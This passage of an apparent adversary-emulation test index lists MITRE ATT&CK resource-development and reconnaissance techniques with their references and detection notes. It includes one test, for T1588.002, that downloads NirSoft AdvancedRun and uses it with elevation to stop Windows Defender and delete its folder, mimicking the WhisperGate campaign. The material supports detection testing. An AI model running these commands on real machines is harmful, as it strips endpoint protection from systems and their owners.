      - source_name: Volexity Ocean Lotus November 2020
        url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
          20, 2020.'
      - source_name: FireEye CFR Watering Hole 2012
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
      - source_name: Gallagher 2015
        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
          group hacked 100+ websites to use as “watering holes”. Retrieved January
          25, 2016.
        url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      - source_name: Malwarebytes Silent Librarian October 2020
        url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
          Librarian APT right on schedule for 20/21 academic year. Retrieved February
          3, 2021.
      - source_name: Proofpoint TA407 September 2019
        url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
      - source_name: DigiCert Install SSL Cert
        url: https://www.digicert.com/kb/ssl-certificate-installation.htm
        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
          April 19, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Stage Capabilities
      description: |-
        Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)

        Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

        * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
        * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
        * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)
        * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)
      id: attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-27T19:01:22.653Z'
      created: '2021-03-17T20:04:09.331Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as initial access and post-compromise behaviors.
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1588.002:
    technique:
      id: attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0
      description: |-
        Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)

        Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
      name: Tool
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1588.002
        url: https://attack.mitre.org/techniques/T1588/002
      - source_name: Recorded Future Beacon 2019
        url: https://www.recordedfuture.com/identifying-cobalt-strike-servers/
        description: 'Recorded Future. (2019, June 20). Out of the Blue: How Recorded
          Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:15:20.491Z'
      created: '2020-10-01T02:08:33.977Z'
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on post-compromise phases of the adversary lifecycle.
      identifier: T1588.002
    atomic_tests:
    - name: Run NirSoft AdvancedRun
      auto_generated_guid: f7d43d35-d628-4582-bb03-01b1c5e10d11
      description: "Information on NirSoft AdvancedRun and it's creators found here:
        http://www.nirsoft.net/utils/advanced_run.html\nThis Atomic will run AdvancedRun.exe
        with similar behavior identified during the WhisperGate campaign.\nUpon successful
        execution, AdvancedRun.exe will run and stop Defender and attempt to delete
        the Defender folder on disk. \n"
      supported_platforms:
      - windows
      input_arguments:
        local_folder:
          description: Local path of AdvancedRun executable
          type: Path
          default: PathToAtomicsFolder\T1588.002\bin\AdvancedRun
        local_executable:
          description: name of the advancedrun executable
          type: String
          default: advancedrun.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Advancedrun.exe must be located at #{local_folder}\#{local_executable}

'
        prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit
          0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -UseBasicParsing -OutFile "$env:temp\AdvancedRun.zip"
            Expand-Archive $env:temp\AdvancedRun.zip #{local_folder} -Force
      executor:
        command: |
          #{local_folder}\#{local_executable} /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
          #{local_folder}\#{local_executable} "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
        cleanup_command: 'Remove-Item #{local_folder}\#{local_executable} -ErrorAction
          Ignore

'
        name: powershell
        elevation_required: true
  T1608.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1608.001
        url: https://attack.mitre.org/techniques/T1608/001
      - source_name: Volexity Ocean Lotus November 2020
        url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
          20, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Upload Malware
      description: |-
        Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

        Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)

        Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.
      id: attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-26T18:40:15.732Z'
      created: '2021-03-17T20:09:13.222Z'
      x_mitre_contributors:
      - Kobi Haimovich, CardinalOps
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on post-compromise phases of the adversary lifecycle,
        such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress
        Tool Transfer](https://attack.mitre.org/techniques/T1105).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1608.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1608.002
        url: https://attack.mitre.org/techniques/T1608/002
      - source_name: Dell TG-3390
        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
          August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved
          August 18, 2018.
        url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Upload Tool
      description: |-
        Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

        Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.

        Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
      id: attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-26T18:41:37.444Z'
      created: '2021-03-17T20:31:07.828Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on post-compromise phases of the adversary lifecycle,
        such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1583.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1583.003
        url: https://attack.mitre.org/techniques/T1583/003
      - source_name: TrendmicroHideoutsLease
        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
          Bulletproof Hosting Services. Retrieved March 6, 2017.'
        url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Virtual Private Server
      description: |-
        Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

        Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)
      id: attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:52:41.901Z'
      created: '2020-10-01T00:44:23.935Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1584.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1584.003
        url: https://attack.mitre.org/techniques/T1584/003
      - source_name: NSA NCSC Turla OilRig
        url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
          16, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Virtual Private Server
      description: |-
        Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)

        Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.
      id: attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:03:59.919Z'
      created: '2020-10-01T00:55:17.771Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1588.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1588.006
        url: https://attack.mitre.org/techniques/T1588/006
      - source_name: National Vulnerability Database
        url: https://nvd.nist.gov/
        description: National Vulnerability Database. (n.d.). National Vulnerability
          Database. Retrieved October 15, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Vulnerabilities
      description: |-
        Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)

        An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).
      id: attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:16:32.119Z'
      created: '2020-10-15T02:59:38.628Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on behaviors relating to the potential use of exploits
        for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),
        [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203),
        [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),
        [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211),
        [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
        [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
        and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1583.006:
    technique:
      created: '2020-10-01T00:50:29.936Z'
      modified: '2021-04-15T02:53:19.246Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      type: attack-pattern
      id: attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54
      description: Adversaries may register for web services that can be used during
        targeting. A variety of popular websites exist for adversaries to register
        for a web-based service that can be abused during later stages of the adversary
        lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102))
        or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
        Using common services, such as those offered by Google or Twitter, makes it
        easier for adversaries to hide in expected noise. By utilizing a web service,
        adversaries can make it difficult to physically tie back operations to them.
      name: Web Services
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1583.006
        url: https://attack.mitre.org/techniques/T1583/006
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102))
        or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
    atomic_tests: []
  T1584.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1584.006
        url: https://attack.mitre.org/techniques/T1584/006
      - source_name: Recorded Future Turla Infra 2020
        url: https://www.recordedfuture.com/turla-apt-infrastructure/
        description: 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail:
          Tracking Turla Infrastructure. Retrieved October 20, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Services
      description: 'Adversaries may compromise access to third-party web services that
        can be used during targeting. A variety of popular websites exist for legitimate
        users to register for web-based services, such as GitHub, Twitter, Dropbox,
        Google, etc. Adversaries may try to take ownership of a legitimate user''s
        access to a web service and use that web service as infrastructure in support
        of cyber operations. Such web services can be abused during later stages of
        the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102))
        or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation:
        Recorded Future Turla Infra 2020) Using common services, such as those offered
        by Google or Twitter, makes it easier for adversaries to hide in expected
        noise. By utilizing a web service, particularly when access is stolen from
        legitimate users, adversaries can make it difficult to physically tie back
        operations to them.'
      id: attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:04:40.184Z'
      created: '2020-10-01T01:01:00.176Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102))
        or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
reconnaissance:
  T1595:
    technique:
      id: attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b
      description: |-
        Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

        Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      name: Active Scanning
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1595
        url: https://attack.mitre.org/techniques/T1595
      - source_name: Botnet Scan
        url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
          a Botnet. Retrieved October 20, 2020.
      - source_name: OWASP Fingerprinting
        url: https://wiki.owasp.org/index.php/OAT-004_Fingerprinting
        description: OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved
          October 20, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:20:09.600Z'
      created: '2020-10-02T16:53:16.526Z'
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
    atomic_tests: []
  T1591.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1591.002
        url: https://attack.mitre.org/techniques/T1591/002
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Business Relationships
      description: |-
        Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      id: attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:36:58.964Z'
      created: '2020-10-02T16:27:55.713Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1596.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1596.004
        url: https://attack.mitre.org/techniques/T1596/004
      - source_name: DigitalShadows CDN
        url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
          You Can Do About It. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: CDNs
      description: |-
        Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.

        Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).
      id: attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:47:55.905Z'
      created: '2020-10-02T16:59:56.648Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1592.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1592.004
        url: https://attack.mitre.org/techniques/T1592/004
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Client Configurations
      description: |-
        Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:22:14.288Z'
      created: '2020-10-02T16:47:16.719Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
